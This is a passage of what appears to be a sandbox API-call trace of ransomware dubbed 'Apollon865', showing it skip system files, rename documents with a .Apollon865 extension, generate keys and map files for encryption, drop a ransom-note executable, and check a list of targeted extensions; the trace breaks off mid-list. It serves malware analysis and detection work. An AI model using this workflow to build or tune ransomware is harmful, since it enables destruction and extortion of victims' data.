	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.406] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.406] CloseHandle (hObject=0x118) returned 1
	[0075.406] CloseHandle (hObject=0x15c) returned 1
	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.406] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2=".") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="..") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="windows") returned -1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="bootmgr") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="temp") returned -1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="pagefile.sys") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="boot") returned 1
	[0075.406] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ids.txt") returned 1
	[0075.407] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="ntuser.dat") returned 1
	[0075.407] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="perflogs") returned 1
	[0075.407] lstrcmpiW (lpString1="STOCKS.DAT", lpString2="MSBuild") returned 1
	[0075.407] lstrlenW (lpString="STOCKS.DAT") returned 10
	[0075.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77
	[0075.407] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="STOCKS.DAT" | out: lpString1="STOCKS.DAT") returned="STOCKS.DAT"
	[0075.407] lstrlenW (lpString="STOCKS.DAT") returned 10
	[0075.407] lstrlenW (lpString="Apollon865") returned 10
	[0075.407] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="STOCKS.XML" | out: lpString1="STOCKS.XML") returned="STOCKS.XML"
	[0075.407] lstrlenW (lpString="STOCKS.XML") returned 10
	[0075.407] lstrlenW (lpString="Apollon865") returned 10
	[0075.407] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.Apollon865") returned 89
	[0075.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.408] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2687) returned 1
	[0075.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.409] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.410] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.410] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.410] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd80, lpName=0x0) returned 0x118
	[0075.411] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd80) returned 0x100000
	[0075.412] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.412] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.412] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0075.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.413] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.413] CloseHandle (hObject=0x118) returned 1
	[0075.413] CloseHandle (hObject=0x15c) returned 1
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.413] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.413] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1
	[0075.413] lstrcmpiW (lpString1="TIME.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2=".") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="..") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="windows") returned -1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="bootmgr") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="temp") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="pagefile.sys") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="boot") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="ids.txt") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="ntuser.dat") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="perflogs") returned 1
	[0075.414] lstrcmpiW (lpString1="TIME.XML", lpString2="MSBuild") returned 1
	[0075.414] lstrlenW (lpString="TIME.XML") returned 8
	[0075.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78
	[0075.414] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="TIME.XML" | out: lpString1="TIME.XML") returned="TIME.XML"
	[0075.414] lstrlenW (lpString="TIME.XML") returned 8
	[0075.414] lstrlenW (lpString="Apollon865") returned 10
	[0075.414] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.Apollon865") returned 87
	[0075.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.415] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8564) returned 1
	[0075.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0075.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.416] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.416] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.416] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.416] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2480, lpName=0x0) returned 0x118
	[0075.418] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2480) returned 0x100000
	[0075.419] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.419] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.419] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0075.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0075.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.420] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.420] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.420] CloseHandle (hObject=0x118) returned 1
	[0075.420] CloseHandle (hObject=0x15c) returned 1
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.420] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0
	[0075.420] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.420] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0075.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033"
	[0075.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0075.421] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0075.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 61
	[0075.421] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033"
	[0075.421] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.421] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4506aab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4506aab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.434] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.434] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.434] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4506aab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4506aab0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.434] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.434] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.434] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.434] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4506aab0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4506aab0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.434] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1
	[0075.434] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.434] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="Apollon865.txt.exe") returned 1
	[0075.434] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".") returned 1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="..") returned 1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="windows") returned -1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="bootmgr") returned 1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="temp") returned -1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="pagefile.sys") returned -1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="boot") returned 1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ids.txt") returned 1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="ntuser.dat") returned -1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="perflogs") returned -1
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2="MSBuild") returned -1
	[0075.435] lstrlenW (lpString="MCABOUT.HTM") returned 11
	[0075.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*") returned 63
	[0075.435] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="MCABOUT.HTM" | out: lpString1="MCABOUT.HTM") returned="MCABOUT.HTM"
	[0075.435] lstrlenW (lpString="MCABOUT.HTM") returned 11
	[0075.435] lstrlenW (lpString="Apollon865") returned 10
	[0075.435] lstrcmpiW (lpString1="CABOUT.HTM", lpString2="Apollon865") returned 1
	[0075.435] lstrlenW (lpString=".dll") returned 4
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".dll") returned 1
	[0075.435] lstrlenW (lpString=".lnk") returned 4
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".lnk") returned 1
	[0075.435] lstrlenW (lpString=".ini") returned 4
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".ini") returned 1
	[0075.435] lstrlenW (lpString=".sys") returned 4
	[0075.435] lstrcmpiW (lpString1="MCABOUT.HTM", lpString2=".sys") returned 1
	[0075.435] lstrlenW (lpString="MCABOUT.HTM") returned 11
	[0075.435] lstrlenW (lpString="bak") returned 3
	[0075.435] lstrcmpiW (lpString1="HTM", lpString2="bak") returned 1
	[0075.435] lstrlenW (lpString="ba_") returned 3
	[0075.435] lstrcmpiW (lpString1="HTM", lpString2="ba_") returned 1
	[0075.435] lstrlenW (lpString="dbb") returned 3
	[0075.435] lstrcmpiW (lpString1="HTM", lpString2="dbb") returned 1
	[0075.435] lstrlenW (lpString="vmdk") returned 4
	[0075.435] lstrcmpiW (lpString1=".HTM", lpString2="vmdk") returned -1
	[0075.435] lstrlenW (lpString="rar") returned 3
	[0075.435] lstrcmpiW (lpString1="HTM", lpString2="rar") returned -1
	[0075.435] lstrlenW (lpString="zip") returned 3
	[0075.435] lstrcmpiW (lpString1="HTM", lpString2="zip") returned -1
	[0075.436] lstrlenW (lpString="tgz") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="tgz") returned -1
	[0075.436] lstrlenW (lpString="vbox") returned 4
	[0075.436] lstrcmpiW (lpString1=".HTM", lpString2="vbox") returned -1
	[0075.436] lstrlenW (lpString="vdi") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="vdi") returned -1
	[0075.436] lstrlenW (lpString="vhd") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="vhd") returned -1
	[0075.436] lstrlenW (lpString="vhdx") returned 4
	[0075.436] lstrcmpiW (lpString1=".HTM", lpString2="vhdx") returned -1
	[0075.436] lstrlenW (lpString="avhd") returned 4
	[0075.436] lstrcmpiW (lpString1=".HTM", lpString2="avhd") returned -1
	[0075.436] lstrlenW (lpString="db") returned 2
	[0075.436] lstrcmpiW (lpString1="TM", lpString2="db") returned 1
	[0075.436] lstrlenW (lpString="db2") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="db2") returned 1
	[0075.436] lstrlenW (lpString="db3") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="db3") returned 1
	[0075.436] lstrlenW (lpString="dbf") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="dbf") returned 1
	[0075.436] lstrlenW (lpString="mdf") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="mdf") returned -1
	[0075.436] lstrlenW (lpString="mdb") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="mdb") returned -1
	[0075.436] lstrlenW (lpString="sql") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="sql") returned -1
	[0075.436] lstrlenW (lpString="sqlite") returned 6
	[0075.436] lstrcmpiW (lpString1="UT.HTM", lpString2="sqlite") returned 1
	[0075.436] lstrlenW (lpString="sqlite3") returned 7
	[0075.436] lstrcmpiW (lpString1="OUT.HTM", lpString2="sqlite3") returned -1
	[0075.436] lstrlenW (lpString="sqlitedb") returned 8
	[0075.436] lstrcmpiW (lpString1="BOUT.HTM", lpString2="sqlitedb") returned -1
	[0075.436] lstrlenW (lpString="xml") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="xml") returned -1
	[0075.436] lstrlenW (lpString="$er") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="$er") returned 1
	[0075.436] lstrlenW (lpString="4dd") returned 3
	[0075.436] lstrcmpiW (lpString1="HTM", lpString2="4dd") returned 1
	[0075.436] lstrlenW (lpString="4dl") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="4dl") returned 1
	[0075.437] lstrlenW (lpString="^^^") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="^^^") returned 1
	[0075.437] lstrlenW (lpString="abs") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="abs") returned 1
	[0075.437] lstrlenW (lpString="abx") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="abx") returned 1
	[0075.437] lstrlenW (lpString="accdb") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accdb") returned 1
	[0075.437] lstrlenW (lpString="accdc") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accdc") returned 1
	[0075.437] lstrlenW (lpString="accde") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accde") returned 1
	[0075.437] lstrlenW (lpString="accdr") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accdr") returned 1
	[0075.437] lstrlenW (lpString="accdt") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accdt") returned 1
	[0075.437] lstrlenW (lpString="accdw") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accdw") returned 1
	[0075.437] lstrlenW (lpString="accft") returned 5
	[0075.437] lstrcmpiW (lpString1="T.HTM", lpString2="accft") returned 1
	[0075.437] lstrlenW (lpString="adb") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1
	[0075.437] lstrlenW (lpString="adb") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="adb") returned 1
	[0075.437] lstrlenW (lpString="ade") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="ade") returned 1
	[0075.437] lstrlenW (lpString="adf") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="adf") returned 1
	[0075.437] lstrlenW (lpString="adn") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="adn") returned 1
	[0075.437] lstrlenW (lpString="adp") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="adp") returned 1
	[0075.437] lstrlenW (lpString="alf") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="alf") returned 1
	[0075.437] lstrlenW (lpString="ask") returned 3
	[0075.437] lstrcmpiW (lpString1="HTM", lpString2="ask") returned 1
	[0075.438] lstrlenW (lpString="btr") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="btr") returned 1
	[0075.438] lstrlenW (lpString="cat") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="cat") returned 1
	[0075.438] lstrlenW (lpString="cdb") returned 3
	[0075.438] lstrcmpiW (lpString1="HTM", lpString2="cdb") returned 1
	[0075.438] lstrlenW (lpString="ckp") returned 3
